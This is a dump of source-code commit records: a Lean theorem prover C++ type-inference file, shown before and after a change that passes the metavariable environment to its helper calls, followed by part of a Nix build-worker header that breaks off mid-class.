{"text":"<commit_before>\/*\nCopyright (c) 2013 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#include \"util\/flet.h\"\n#include \"util\/scoped_map.h\"\n#include \"util\/interrupt.h\"\n#include \"kernel\/environment.h\"\n#include \"kernel\/normalizer.h\"\n#include \"kernel\/builtin.h\"\n#include \"kernel\/kernel_exception.h\"\n#include \"kernel\/type_checker_justification.h\"\n#include \"kernel\/instantiate.h\"\n#include \"kernel\/free_vars.h\"\n#include \"kernel\/metavar.h\"\n#include \"library\/kernel_bindings.h\"\n#include \"library\/type_inferer.h\"\n\nnamespace lean {\nstatic name g_x_name(\"x\");\nclass type_inferer::imp {\n    typedef scoped_map<expr, expr, expr_hash_alloc, expr_eqp> cache;\n    typedef buffer<unification_constraint> unification_constraints;\n\n    ro_environment            m_env;\n    context                   m_ctx;\n    cached_metavar_env        m_menv;\n    unification_constraints * m_uc;\n    normalizer                m_normalizer;\n    cache                     m_cache;\n\n    expr normalize(expr const & e, context const & ctx) {\n        return m_normalizer(e, ctx);\n    }\n\n    expr check_type(expr const & e, expr const & s, context const & ctx) {\n        if (is_type(e))\n            return e;\n        if (is_bool(e))\n            return Type();\n        expr u = normalize(e, ctx);\n        if (is_type(u))\n            return u;\n        if (is_bool(u))\n            return Type();\n        if (has_metavar(u) && m_menv && m_uc) {\n            justification jst = mk_type_expected_justification(ctx, s);\n            m_uc->push_back(mk_convertible_constraint(ctx, u, TypeU, jst));\n            return u;\n        }\n        throw type_expected_exception(m_env, ctx, s);\n    }\n\n    expr get_range(expr t, expr const & e, context const & ctx) {\n        unsigned num = num_args(e) - 1;\n        while (num > 0) {\n            --num;\n            if (is_pi(t)) {\n                t = abst_body(t);\n            } else {\n                t = m_normalizer(t, ctx);\n                if (is_pi(t)) {\n                    t = abst_body(t);\n                } else if (has_metavar(t) && m_menv && m_uc) {\n                    \/\/ Create two fresh variables A and B,\n                    \/\/ and assign r == (Pi(x : A), B)\n                    expr A   = m_menv->mk_metavar(ctx);\n                    expr B   = m_menv->mk_metavar(extend(ctx, g_x_name, A));\n                    expr p   = mk_pi(g_x_name, A, B);\n                    justification jst = mk_function_expected_justification(ctx, e);\n                    m_uc->push_back(mk_eq_constraint(ctx, t, p, jst));\n                    t        = abst_body(p);\n                } else {\n                    throw function_expected_exception(m_env, ctx, e);\n                }\n            }\n        }\n        if (closed(t))\n            return t;\n        else\n            return instantiate(t, num_args(e)-1, &arg(e, 1));\n    }\n\n    expr infer_type(expr const & e, context const & ctx) {\n        \/\/ cheap cases, we do not cache results\n        switch (e.kind()) {\n        case expr_kind::MetaVar:\n            if (m_menv) {\n                if (m_menv->is_assigned(e))\n                    return infer_type(*(m_menv->get_subst(e)), ctx);\n                else\n                    return m_menv->get_type(e);\n            } else {\n                throw unexpected_metavar_occurrence(m_env, e);\n            }\n        case expr_kind::Constant: {\n            if (const_type(e)) {\n                return *const_type(e);\n            } else {\n                object const & obj = m_env->get_object(const_name(e));\n                if (obj.has_type())\n                    return obj.get_type();\n                else\n                    throw has_no_type_exception(m_env, e);\n            }\n            break;\n        }\n        case expr_kind::Var: {\n            auto p = lookup_ext(ctx, var_idx(e));\n            context_entry const & ce = p.first;\n            if (ce.get_domain()) {\n                context const & ce_ctx   = p.second;\n                return lift_free_vars(*(ce.get_domain()), ctx.size() - ce_ctx.size());\n            }\n            \/\/ Remark: the case where ce.get_domain() is not\n            \/\/ available is not considered cheap.\n            break;\n        }\n        case expr_kind::Eq:\n            return mk_bool_type();\n        case expr_kind::Value:\n            return to_value(e).get_type();\n        case expr_kind::Type:\n            return mk_type(ty_level(e) + 1);\n        case expr_kind::App: case expr_kind::Lambda:\n        case expr_kind::Pi:  case expr_kind::Let:\n            break; \/\/ expensive cases\n        }\n\n        check_system(\"type inference\");\n        bool shared = false;\n        if (is_shared(e)) {\n            shared = true;\n            auto it = m_cache.find(e);\n            if (it != m_cache.end())\n                return it->second;\n        }\n\n        expr r;\n        switch (e.kind()) {\n        case expr_kind::Constant: case expr_kind::Eq:\n        case expr_kind::Value:    case expr_kind::Type:\n        case expr_kind::MetaVar:\n            lean_unreachable(); \/\/ LCOV_EXCL_LINE\n        case expr_kind::Var: {\n            auto p = lookup_ext(ctx, var_idx(e));\n            context_entry const & ce = p.first;\n            context const & ce_ctx   = p.second;\n            lean_assert(!ce.get_domain());\n            r = lift_free_vars(infer_type(*(ce.get_body()), ce_ctx), ctx.size() - ce_ctx.size());\n            break;\n        }\n        case expr_kind::App: {\n            expr const & f = arg(e, 0);\n            expr f_t = infer_type(f, ctx);\n            r = get_range(f_t, e, ctx);\n            break;\n        }\n        case expr_kind::Lambda: {\n            cache::mk_scope sc(m_cache);\n            r = mk_pi(abst_name(e), abst_domain(e), infer_type(abst_body(e), extend(ctx, abst_name(e), abst_domain(e))));\n            break;\n        }\n        case expr_kind::Pi: {\n            expr t1  = check_type(infer_type(abst_domain(e), ctx), abst_domain(e), ctx);\n            expr t2;\n            context new_ctx = extend(ctx, abst_name(e), abst_domain(e));\n            {\n                cache::mk_scope sc(m_cache);\n                t2 = check_type(infer_type(abst_body(e), new_ctx), abst_body(e), new_ctx);\n            }\n            if (is_type(t1) && is_type(t2)) {\n                r = mk_type(max(ty_level(t1), ty_level(t2)));\n            } else {\n                lean_assert(m_uc);\n                justification jst = mk_max_type_justification(ctx, e);\n                r = m_menv->mk_metavar(ctx);\n                m_uc->push_back(mk_max_constraint(new_ctx, lift_free_vars(t1, 0, 1), t2, r, jst));\n            }\n            break;\n        }\n        case expr_kind::Let: {\n            cache::mk_scope sc(m_cache);\n            r = infer_type(let_body(e), extend(ctx, let_name(e), let_type(e), let_value(e)));\n            break;\n        }}\n\n        if (shared) {\n            m_cache.insert(e, r);\n        }\n        return r;\n    }\n\n    void set_ctx(context const & ctx) {\n        if (!is_eqp(m_ctx, ctx)) {\n            clear();\n            m_ctx = ctx;\n        }\n    }\n\npublic:\n    imp(ro_environment const & env):\n        m_env(env),\n        m_normalizer(env) {\n        m_uc = nullptr;\n    }\n\n    expr operator()(expr const & e, context const & ctx, optional<metavar_env> const & menv, buffer<unification_constraint> * uc) {\n        set_ctx(ctx);\n        if (m_menv.update(menv))\n            clear_cache();\n        flet<unification_constraints*> set(m_uc, uc);\n        return infer_type(e, ctx);\n    }\n\n    void clear_cache() {\n        m_cache.clear();\n        m_normalizer.clear();\n    }\n\n    void clear() {\n        clear_cache();\n        m_menv.clear();\n        m_ctx = context();\n    }\n\n    bool is_proposition(expr const & e, context const & ctx, optional<metavar_env> const & menv) {\n        \/\/ Catch easy cases\n        switch (e.kind()) {\n        case expr_kind::Lambda: case expr_kind::Pi: case expr_kind::Type: return false;\n        case expr_kind::Eq: return true;\n        default: break;\n        }\n        expr t = operator()(e, ctx, menv, nullptr);\n        if (is_bool(t))\n            return true;\n        else\n            return is_bool(normalize(t, ctx));\n    }\n};\ntype_inferer::type_inferer(ro_environment const & env):m_ptr(new imp(env)) {}\ntype_inferer::~type_inferer() {}\nexpr type_inferer::operator()(expr const & e, context const & ctx, optional<metavar_env> const & menv, buffer<unification_constraint> * uc) {\n    return m_ptr->operator()(e, ctx, menv, uc);\n}\nexpr type_inferer::operator()(expr const & e, context const & ctx, metavar_env const & menv, buffer<unification_constraint> & uc) {\n    return m_ptr->operator()(e, ctx, some_menv(menv), &uc);\n}\nexpr type_inferer::operator()(expr const & e, context const & ctx) {\n    return operator()(e, ctx, none_menv(), nullptr);\n}\nbool type_inferer::is_proposition(expr const & e, context const & ctx, optional<metavar_env> const & menv) {\n    return m_ptr->is_proposition(e, ctx, menv);\n}\nbool type_inferer::is_proposition(expr const & e, context const & ctx) {\n    return is_proposition(e, ctx, none_menv());\n}\nbool type_inferer::is_proposition(expr const & e, context const & ctx, metavar_env const & menv) {\n    return is_proposition(e, ctx, some_menv(menv));\n}\nvoid type_inferer::clear() { m_ptr->clear(); }\n\nconstexpr char const * type_inferer_mt = \"type_inferer\";\ntype_inferer & to_type_inferer(lua_State * L, int i) { return *static_cast<type_inferer*>(luaL_checkudata(L, i, type_inferer_mt)); }\nDECL_PRED(type_inferer)\nDECL_GC(type_inferer)\n\nstatic int type_inferer_call(lua_State * L) {\n    int nargs = lua_gettop(L);\n    type_inferer & inferer = to_type_inferer(L, 1);\n    if (nargs == 2)\n        return push_expr(L, inferer(to_expr(L, 2)));\n    else\n        return push_expr(L, inferer(to_expr(L, 2), to_context(L, 3)));\n}\n\nstatic int type_inferer_clear(lua_State * L) {\n    to_type_inferer(L, 1).clear();\n    return 0;\n}\n\nstatic int mk_type_inferer(lua_State * L) {\n    void * mem = lua_newuserdata(L, sizeof(type_inferer));\n    new (mem) type_inferer(to_environment(L, 1));\n    luaL_getmetatable(L, type_inferer_mt);\n    lua_setmetatable(L, -2);\n    return 1;\n}\n\nstatic const struct luaL_Reg type_inferer_m[] = {\n    {\"__gc\",            type_inferer_gc}, \/\/ never throws\n    {\"__call\",          safe_function<type_inferer_call>},\n    {\"clear\",           safe_function<type_inferer_clear>},\n    {0, 0}\n};\n\nvoid open_type_inferer(lua_State * L) {\n    luaL_newmetatable(L, type_inferer_mt);\n    lua_pushvalue(L, -1);\n    lua_setfield(L, -2, \"__index\");\n    setfuncs(L, type_inferer_m, 0);\n\n    SET_GLOBAL_FUN(mk_type_inferer,          \"type_inferer\");\n    SET_GLOBAL_FUN(type_inferer_pred,        \"is_type_inferer\");\n}\n}\n<commit_msg>feat(library\/type_inferer): provide the metavar_env to instantiate and lift_free_vars in the type_inferer, it will minimize the number of local_entries needed<commit_after>\/*\nCopyright (c) 2013 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#include \"util\/flet.h\"\n#include \"util\/scoped_map.h\"\n#include \"util\/interrupt.h\"\n#include \"kernel\/environment.h\"\n#include \"kernel\/normalizer.h\"\n#include \"kernel\/builtin.h\"\n#include \"kernel\/kernel_exception.h\"\n#include \"kernel\/type_checker_justification.h\"\n#include \"kernel\/instantiate.h\"\n#include \"kernel\/free_vars.h\"\n#include \"kernel\/metavar.h\"\n#include \"library\/kernel_bindings.h\"\n#include \"library\/type_inferer.h\"\n\nnamespace lean {\nstatic name g_x_name(\"x\");\nclass type_inferer::imp {\n    typedef scoped_map<expr, expr, expr_hash_alloc, expr_eqp> cache;\n    typedef buffer<unification_constraint> unification_constraints;\n\n    ro_environment            m_env;\n    context                   m_ctx;\n    cached_metavar_env        m_menv;\n    unification_constraints * m_uc;\n    normalizer                m_normalizer;\n    cache                     m_cache;\n\n    expr normalize(expr const & e, context const & ctx) {\n        return m_normalizer(e, ctx, m_menv.to_some_menv());\n    }\n    expr lift_free_vars(expr const & e, unsigned s, unsigned d) {\n        return ::lean::lift_free_vars(e, s, d, m_menv.to_some_menv());\n    }\n\n    expr lift_free_vars(expr const & e, unsigned d) {\n        return ::lean::lift_free_vars(e, d, m_menv.to_some_menv());\n    }\n\n    expr instantiate(expr const & e, unsigned n, expr const * s) {\n        return ::lean::instantiate(e, n, s, m_menv.to_some_menv());\n    }\n\n    expr check_type(expr const & e, expr const & s, context const & ctx) {\n        if (is_type(e))\n            return e;\n        if (is_bool(e))\n            return Type();\n        expr u = normalize(e, ctx);\n        if (is_type(u))\n            return u;\n        if (is_bool(u))\n            return Type();\n        if (has_metavar(u) && m_menv && m_uc) {\n            justification jst = mk_type_expected_justification(ctx, s);\n            m_uc->push_back(mk_convertible_constraint(ctx, u, TypeU, jst));\n            return u;\n        }\n        throw type_expected_exception(m_env, ctx, s);\n    }\n\n    expr get_range(expr t, expr const & e, context const & ctx) {\n        unsigned num = num_args(e) - 1;\n        while (num > 0) {\n            --num;\n            if (is_pi(t)) {\n                t = abst_body(t);\n            } else {\n                t = m_normalizer(t, ctx);\n                if (is_pi(t)) {\n                    t = abst_body(t);\n                } else if (has_metavar(t) && m_menv && m_uc) {\n                    \/\/ Create two fresh variables A and B,\n                    \/\/ and assign r == (Pi(x : A), B)\n                    expr A   = m_menv->mk_metavar(ctx);\n                    expr B   = m_menv->mk_metavar(extend(ctx, g_x_name, A));\n                    expr p   = mk_pi(g_x_name, A, B);\n                    justification jst = mk_function_expected_justification(ctx, e);\n                    m_uc->push_back(mk_eq_constraint(ctx, t, p, jst));\n                    t        = abst_body(p);\n                } else {\n                    throw function_expected_exception(m_env, ctx, e);\n                }\n            }\n        }\n        if (closed(t))\n            return t;\n        else\n            return instantiate(t, num_args(e)-1, &arg(e, 1));\n    }\n\n    expr infer_type(expr const & e, context const & ctx) {\n        \/\/ cheap cases, we do not cache results\n        switch (e.kind()) {\n        case expr_kind::MetaVar:\n            if (m_menv) {\n                if (m_menv->is_assigned(e))\n                    return infer_type(*(m_menv->get_subst(e)), ctx);\n                else\n                    return m_menv->get_type(e);\n            } else {\n                throw unexpected_metavar_occurrence(m_env, e);\n            }\n        case expr_kind::Constant: {\n            if (const_type(e)) {\n                return *const_type(e);\n            } else {\n                object const & obj = m_env->get_object(const_name(e));\n                if (obj.has_type())\n                    return obj.get_type();\n                else\n                    throw has_no_type_exception(m_env, e);\n            }\n            break;\n        }\n        case expr_kind::Var: {\n            auto p = lookup_ext(ctx, var_idx(e));\n            context_entry const & ce = p.first;\n            if (ce.get_domain()) {\n                context const & ce_ctx   = p.second;\n                return lift_free_vars(*(ce.get_domain()), ctx.size() - ce_ctx.size());\n            }\n            \/\/ Remark: the case where ce.get_domain() is not\n            \/\/ available is not considered cheap.\n            break;\n        }\n        case expr_kind::Eq:\n            return mk_bool_type();\n        case expr_kind::Value:\n            return to_value(e).get_type();\n        case expr_kind::Type:\n            return mk_type(ty_level(e) + 1);\n        case expr_kind::App: case expr_kind::Lambda:\n        case expr_kind::Pi:  case expr_kind::Let:\n            break; \/\/ expensive cases\n        }\n\n        check_system(\"type inference\");\n        bool shared = false;\n        if (is_shared(e)) {\n            shared = true;\n            auto it = m_cache.find(e);\n            if (it != m_cache.end())\n                return it->second;\n        }\n\n        expr r;\n        switch (e.kind()) {\n        case expr_kind::Constant: case expr_kind::Eq:\n        case expr_kind::Value:    case expr_kind::Type:\n        case expr_kind::MetaVar:\n            lean_unreachable(); \/\/ LCOV_EXCL_LINE\n        case expr_kind::Var: {\n            auto p = lookup_ext(ctx, var_idx(e));\n            context_entry const & ce = p.first;\n            context const & ce_ctx   = p.second;\n            lean_assert(!ce.get_domain());\n            r = lift_free_vars(infer_type(*(ce.get_body()), ce_ctx), ctx.size() - ce_ctx.size());\n            break;\n        }\n        case expr_kind::App: {\n            expr const & f = arg(e, 0);\n            expr f_t = infer_type(f, ctx);\n            r = get_range(f_t, e, ctx);\n            break;\n        }\n        case expr_kind::Lambda: {\n            cache::mk_scope sc(m_cache);\n            r = mk_pi(abst_name(e), abst_domain(e), infer_type(abst_body(e), extend(ctx, abst_name(e), abst_domain(e))));\n            break;\n        }\n        case expr_kind::Pi: {\n            expr t1  = check_type(infer_type(abst_domain(e), ctx), abst_domain(e), ctx);\n            expr t2;\n            context new_ctx = extend(ctx, abst_name(e), abst_domain(e));\n            {\n                cache::mk_scope sc(m_cache);\n                t2 = check_type(infer_type(abst_body(e), new_ctx), abst_body(e), new_ctx);\n            }\n            if (is_type(t1) && is_type(t2)) {\n                r = mk_type(max(ty_level(t1), ty_level(t2)));\n            } else {\n                lean_assert(m_uc);\n                justification jst = mk_max_type_justification(ctx, e);\n                r = m_menv->mk_metavar(ctx);\n                m_uc->push_back(mk_max_constraint(new_ctx, lift_free_vars(t1, 0, 1), t2, r, jst));\n            }\n            break;\n        }\n        case expr_kind::Let: {\n            cache::mk_scope sc(m_cache);\n            r = infer_type(let_body(e), extend(ctx, let_name(e), let_type(e), let_value(e)));\n            break;\n        }}\n\n        if (shared) {\n            m_cache.insert(e, r);\n        }\n        return r;\n    }\n\n    void set_ctx(context const & ctx) {\n        if (!is_eqp(m_ctx, ctx)) {\n            clear();\n            m_ctx = ctx;\n        }\n    }\n\npublic:\n    imp(ro_environment const & env):\n        m_env(env),\n        m_normalizer(env) {\n        m_uc = nullptr;\n    }\n\n    expr operator()(expr const & e, context const & ctx, optional<metavar_env> const & menv, buffer<unification_constraint> * uc) {\n        set_ctx(ctx);\n        if (m_menv.update(menv))\n            clear_cache();\n        flet<unification_constraints*> set(m_uc, uc);\n        return infer_type(e, ctx);\n    }\n\n    void clear_cache() {\n        m_cache.clear();\n        m_normalizer.clear();\n    }\n\n    void clear() {\n        clear_cache();\n        m_menv.clear();\n        m_ctx = context();\n    }\n\n    bool is_proposition(expr const & e, context const & ctx, optional<metavar_env> const & menv) {\n        \/\/ Catch easy cases\n        switch (e.kind()) {\n        case expr_kind::Lambda: case expr_kind::Pi: case expr_kind::Type: return false;\n        case expr_kind::Eq: return true;\n        default: break;\n        }\n        expr t = operator()(e, ctx, menv, nullptr);\n        if (is_bool(t))\n            return true;\n        else\n            return is_bool(normalize(t, ctx));\n    }\n};\ntype_inferer::type_inferer(ro_environment const & env):m_ptr(new imp(env)) {}\ntype_inferer::~type_inferer() {}\nexpr type_inferer::operator()(expr const & e, context const & ctx, optional<metavar_env> const & menv, buffer<unification_constraint> * uc) {\n    return m_ptr->operator()(e, ctx, menv, uc);\n}\nexpr type_inferer::operator()(expr const & e, context const & ctx, metavar_env const & menv, buffer<unification_constraint> & uc) {\n    return m_ptr->operator()(e, ctx, some_menv(menv), &uc);\n}\nexpr type_inferer::operator()(expr const & e, context const & ctx) {\n    return operator()(e, ctx, none_menv(), nullptr);\n}\nbool type_inferer::is_proposition(expr const & e, context const & ctx, optional<metavar_env> const & menv) {\n    return m_ptr->is_proposition(e, ctx, menv);\n}\nbool type_inferer::is_proposition(expr const & e, context const & ctx) {\n    return is_proposition(e, ctx, none_menv());\n}\nbool type_inferer::is_proposition(expr const & e, context const & ctx, metavar_env const & menv) {\n    return is_proposition(e, ctx, some_menv(menv));\n}\nvoid type_inferer::clear() { m_ptr->clear(); }\n\nconstexpr char const * type_inferer_mt = \"type_inferer\";\ntype_inferer & to_type_inferer(lua_State * L, int i) { return *static_cast<type_inferer*>(luaL_checkudata(L, i, type_inferer_mt)); }\nDECL_PRED(type_inferer)\nDECL_GC(type_inferer)\n\nstatic int type_inferer_call(lua_State * L) {\n    int nargs = lua_gettop(L);\n    type_inferer & inferer = to_type_inferer(L, 1);\n    if (nargs == 2)\n        return push_expr(L, inferer(to_expr(L, 2)));\n    else\n        return push_expr(L, inferer(to_expr(L, 2), to_context(L, 3)));\n}\n\nstatic int type_inferer_clear(lua_State * L) {\n    to_type_inferer(L, 1).clear();\n    return 0;\n}\n\nstatic int mk_type_inferer(lua_State * L) {\n    void * mem = lua_newuserdata(L, sizeof(type_inferer));\n    new (mem) type_inferer(to_environment(L, 1));\n    luaL_getmetatable(L, type_inferer_mt);\n    lua_setmetatable(L, -2);\n    return 1;\n}\n\nstatic const struct luaL_Reg type_inferer_m[] = {\n    {\"__gc\",            type_inferer_gc}, \/\/ never throws\n    {\"__call\",          safe_function<type_inferer_call>},\n    {\"clear\",           safe_function<type_inferer_clear>},\n    {0, 0}\n};\n\nvoid open_type_inferer(lua_State * L) {\n    luaL_newmetatable(L, type_inferer_mt);\n    lua_pushvalue(L, -1);\n    lua_setfield(L, -2, \"__index\");\n    setfuncs(L, type_inferer_m, 0);\n\n    SET_GLOBAL_FUN(mk_type_inferer,          \"type_inferer\");\n    SET_GLOBAL_FUN(type_inferer_pred,        \"is_type_inferer\");\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"machines.hh\"\n#include \"parsed-derivations.hh\"\n#include \"lock.hh\"\n#include \"local-store.hh\"\n\n#include <memory>\n#include <algorithm>\n#include <iostream>\n#include <map>\n#include <sstream>\n#include <thread>\n#include <future>\n#include <chrono>\n#include <regex>\n#include <queue>\n\nnamespace nix {\n\nusing std::map;\n\n\n\/* Forward definition. *\/\nclass Worker;\nstruct HookInstance;\n\n\n\/* A pointer to a goal. *\/\nstruct Goal;\nclass DerivationGoal;\ntypedef std::shared_ptr<Goal> GoalPtr;\ntypedef std::weak_ptr<Goal> WeakGoalPtr;\n\nstruct CompareGoalPtrs {\n    bool operator() (const GoalPtr & a, const GoalPtr & b) const;\n};\n\n\/* Set of goals. *\/\ntypedef set<GoalPtr, CompareGoalPtrs> Goals;\ntypedef list<WeakGoalPtr> WeakGoals;\n\n\/* A map of paths to goals (and the other way around). *\/\ntypedef std::map<StorePath, WeakGoalPtr> WeakGoalMap;\n\n\n\nstruct Goal : public std::enable_shared_from_this<Goal>\n{\n    typedef enum {ecBusy, ecSuccess, ecFailed, ecNoSubstituters, ecIncompleteClosure} ExitCode;\n\n    \/* Backlink to the worker. *\/\n    Worker & worker;\n\n    \/* Goals that this goal is waiting for. *\/\n    Goals waitees;\n\n    \/* Goals waiting for this one to finish.  Must use weak pointers\n       here to prevent cycles. *\/\n    WeakGoals waiters;\n\n    \/* Number of goals we are\/were waiting for that have failed. *\/\n    unsigned int nrFailed;\n\n    \/* Number of substitution goals we are\/were waiting for that\n       failed because there are no substituters. *\/\n    unsigned int nrNoSubstituters;\n\n    \/* Number of substitution goals we are\/were waiting for that\n       failed because othey had unsubstitutable references. *\/\n    unsigned int nrIncompleteClosure;\n\n    \/* Name of this goal for debugging purposes. *\/\n    string name;\n\n    \/* Whether the goal is finished. *\/\n    ExitCode exitCode;\n\n    \/* Exception containing an error message, if any. *\/\n    std::optional<Error> ex;\n\n    Goal(Worker & worker) : worker(worker)\n    {\n        nrFailed = nrNoSubstituters = nrIncompleteClosure = 0;\n        exitCode = ecBusy;\n    }\n\n    virtual ~Goal()\n    {\n        trace(\"goal destroyed\");\n    }\n\n    virtual void work() = 0;\n\n    void addWaitee(GoalPtr waitee);\n\n    virtual void waiteeDone(GoalPtr waitee, ExitCode result);\n\n    virtual void handleChildOutput(int fd, const string & data)\n    {\n        abort();\n    }\n\n    virtual void handleEOF(int fd)\n    {\n        abort();\n    }\n\n    void trace(const FormatOrString & fs);\n\n    string getName()\n    {\n        return name;\n    }\n\n    \/* Callback in case of a timeout.  It should wake up its waiters,\n       get rid of any running child processes that are being monitored\n       by the worker (important!), etc. *\/\n    virtual void timedOut(Error && ex) = 0;\n\n    virtual string key() = 0;\n\n    void amDone(ExitCode result, std::optional<Error> ex = {});\n};\n\ntypedef std::chrono::time_point<std::chrono::steady_clock> steady_time_point;\n\n\n\/* A mapping used to remember for each child process to what goal it\n   belongs, and file descriptors for receiving log data and output\n   path creation commands. *\/\nstruct Child\n{\n    WeakGoalPtr goal;\n    Goal * goal2; \/\/ ugly hackery\n    set<int> fds;\n    bool respectTimeouts;\n    bool inBuildSlot;\n    steady_time_point lastOutput; \/* time we last got output on stdout\/stderr *\/\n    steady_time_point timeStarted;\n};\n\n\n\/* The worker class. *\/\nclass Worker\n{\nprivate:\n\n    \/* Note: the worker should only have strong pointers to the\n       top-level goals. *\/\n\n    \/* The top-level goals of the worker. *\/\n    Goals topGoals;\n\n    \/* Goals that are ready to do some work. *\/\n    WeakGoals awake;\n\n    \/* Goals waiting for a build slot. *\/\n    WeakGoals wantingToBuild;\n\n    \/* Child processes currently running. *\/\n    std::list<Child> children;\n\n    \/* Number of build slots occupied.  This includes local builds and\n       substitutions but not remote builds via the build hook. *\/\n    unsigned int nrLocalBuilds;\n\n    \/* Maps used to prevent multiple instantiations of a goal for the\n       same derivation \/ path. *\/\n    WeakGoalMap derivationGoals;\n    WeakGoalMap substitutionGoals;\n\n    \/* Goals waiting for busy paths to be unlocked. *\/\n    WeakGoals waitingForAnyGoal;\n\n    \/* Goals sleeping for a few seconds (polling a lock). *\/\n    WeakGoals waitingForAWhile;\n\n    \/* Last time the goals in `waitingForAWhile' where woken up. *\/\n    steady_time_point lastWokenUp;\n\n    \/* Cache for pathContentsGood(). *\/\n    std::map<StorePath, bool> pathContentsGoodCache;\n\npublic:\n\n    const Activity act;\n    const Activity actDerivations;\n    const Activity actSubstitutions;\n\n    \/* Set if at least one derivation had a BuildError (i.e. permanent\n       failure). *\/\n    bool permanentFailure;\n\n    \/* Set if at least one derivation had a timeout. *\/\n    bool timedOut;\n\n    \/* Set if at least one derivation fails with a hash mismatch. *\/\n    bool hashMismatch;\n\n    \/* Set if at least one derivation is not deterministic in check mode. *\/\n    bool checkMismatch;\n\n    LocalStore & store;\n\n    std::unique_ptr<HookInstance> hook;\n\n    uint64_t expectedBuilds = 0;\n    uint64_t doneBuilds = 0;\n    uint64_t failedBuilds = 0;\n    uint64_t runningBuilds = 0;\n\n    uint64_t expectedSubstitutions = 0;\n    uint64_t doneSubstitutions = 0;\n    uint64_t failedSubstitutions = 0;\n    uint64_t runningSubstitutions = 0;\n    uint64_t expectedDownloadSize = 0;\n    uint64_t doneDownloadSize = 0;\n    uint64_t expectedNarSize = 0;\n    uint64_t doneNarSize = 0;\n\n    \/* Whether to ask the build hook if it can build a derivation. If\n       it answers with \"decline-permanently\", we don't try again. *\/\n    bool tryBuildHook = true;\n\n    Worker(LocalStore & store);\n    ~Worker();\n\n    \/* Make a goal (with caching). *\/\n\n    \/* derivation goal *\/\nprivate:\n    std::shared_ptr<DerivationGoal> makeDerivationGoalCommon(\n        const StorePath & drvPath, const StringSet & wantedOutputs,\n        std::function<std::shared_ptr<DerivationGoal>()> mkDrvGoal);\npublic:\n    std::shared_ptr<DerivationGoal> makeDerivationGoal(\n        const StorePath & drvPath,\n        const StringSet & wantedOutputs, BuildMode buildMode = bmNormal);\n    std::shared_ptr<DerivationGoal> makeBasicDerivationGoal(\n        const StorePath & drvPath, const BasicDerivation & drv,\n        const StringSet & wantedOutputs, BuildMode buildMode = bmNormal);\n\n    \/* substitution goal *\/\n    GoalPtr makeSubstitutionGoal(const StorePath & storePath, RepairFlag repair = NoRepair, std::optional<ContentAddress> ca = std::nullopt);\n\n    \/* Remove a dead goal. *\/\n    void removeGoal(GoalPtr goal);\n\n    \/* Wake up a goal (i.e., there is something for it to do). *\/\n    void wakeUp(GoalPtr goal);\n\n    \/* Return the number of local build and substitution processes\n       currently running (but not remote builds via the build\n       hook). *\/\n    unsigned int getNrLocalBuilds();\n\n    \/* Registers a running child process.  `inBuildSlot' means that\n       the process counts towards the jobs limit. *\/\n    void childStarted(GoalPtr goal, const set<int> & fds,\n        bool inBuildSlot, bool respectTimeouts);\n\n    \/* Unregisters a running child process.  `wakeSleepers' should be\n       false if there is no sense in waking up goals that are sleeping\n       because they can't run yet (e.g., there is no free build slot,\n       or the hook would still say `postpone'). *\/\n    void childTerminated(Goal * goal, bool wakeSleepers = true);\n\n    \/* Put `goal' to sleep until a build slot becomes available (which\n       might be right away). *\/\n    void waitForBuildSlot(GoalPtr goal);\n\n    \/* Wait for any goal to finish.  Pretty indiscriminate way to\n       wait for some resource that some other goal is holding. *\/\n    void waitForAnyGoal(GoalPtr goal);\n\n    \/* Wait for a few seconds and then retry this goal.  Used when\n       waiting for a lock held by another process.  This kind of\n       polling is inefficient, but POSIX doesn't really provide a way\n       to wait for multiple locks in the main select() loop. *\/\n    void waitForAWhile(GoalPtr goal);\n\n    \/* Loop until the specified top-level goals have finished. *\/\n    void run(const Goals & topGoals);\n\n    \/* Wait for input to become available. *\/\n    void waitForInput();\n\n    unsigned int exitStatus();\n\n    \/* Check whether the given valid path exists and has the right\n       contents. *\/\n    bool pathContentsGood(const StorePath & path);\n\n    void markContentsGood(const StorePath & path);\n\n    void updateProgress()\n    {\n        actDerivations.progress(doneBuilds, expectedBuilds + doneBuilds, runningBuilds, failedBuilds);\n        actSubstitutions.progress(doneSubstitutions, expectedSubstitutions + doneSubstitutions, runningSubstitutions, failedSubstitutions);\n        act.setExpected(actFileTransfer, expectedDownloadSize + doneDownloadSize);\n        act.setExpected(actCopyPath, expectedNarSize + doneNarSize);\n    }\n};\n\ntypedef enum {rpAccept, rpDecline, rpPostpone} HookReply;\n\nclass SubstitutionGoal;\n\n\/* Unless we are repairing, we don't both to test validity and just assume it,\n   so the choices are `Absent` or `Valid`. *\/\nenum struct PathStatus {\n    Corrupt,\n    Absent,\n    Valid,\n};\n\nstruct InitialOutputStatus {\n    StorePath path;\n    PathStatus status;\n    \/* Valid in the store, and additionally non-corrupt if we are repairing *\/\n    bool isValid() const {\n        return status == PathStatus::Valid;\n    }\n    \/* Merely present, allowed to be corrupt *\/\n    bool isPresent() const {\n        return status == PathStatus::Corrupt\n            || status == PathStatus::Valid;\n    }\n};\n\nstruct InitialOutput {\n    bool wanted;\n    std::optional<InitialOutputStatus> known;\n};\n\nclass DerivationGoal : public Goal\n{\nprivate:\n    \/* Whether to use an on-disk .drv file. *\/\n    bool useDerivation;\n\n    \/* The path of the derivation. *\/\n    StorePath drvPath;\n\n    \/* The specific outputs that we need to build.  Empty means all of\n       them. *\/\n    StringSet wantedOutputs;\n\n    \/* Whether additional wanted outputs have been added. *\/\n    bool needRestart = false;\n\n    \/* Whether to retry substituting the outputs after building the\n       inputs. *\/\n    bool retrySubstitution;\n\n    \/* The derivation stored at drvPath. *\/\n    std::unique_ptr<BasicDerivation> drv;\n\n    std::unique_ptr<ParsedDerivation> parsedDrv;\n\n    \/* The remainder is state held during the build. *\/\n\n    \/* Locks on (fixed) output paths. *\/\n    PathLocks outputLocks;\n\n    \/* All input paths (that is, the union of FS closures of the\n       immediate input paths). *\/\n    StorePathSet inputPaths;\n\n    std::map<std::string, InitialOutput> initialOutputs;\n\n    \/* User selected for running the builder. *\/\n    std::unique_ptr<UserLock> buildUser;\n\n    \/* The process ID of the builder. *\/\n    Pid pid;\n\n    \/* The temporary directory. *\/\n    Path tmpDir;\n\n    \/* The path of the temporary directory in the sandbox. *\/\n    Path 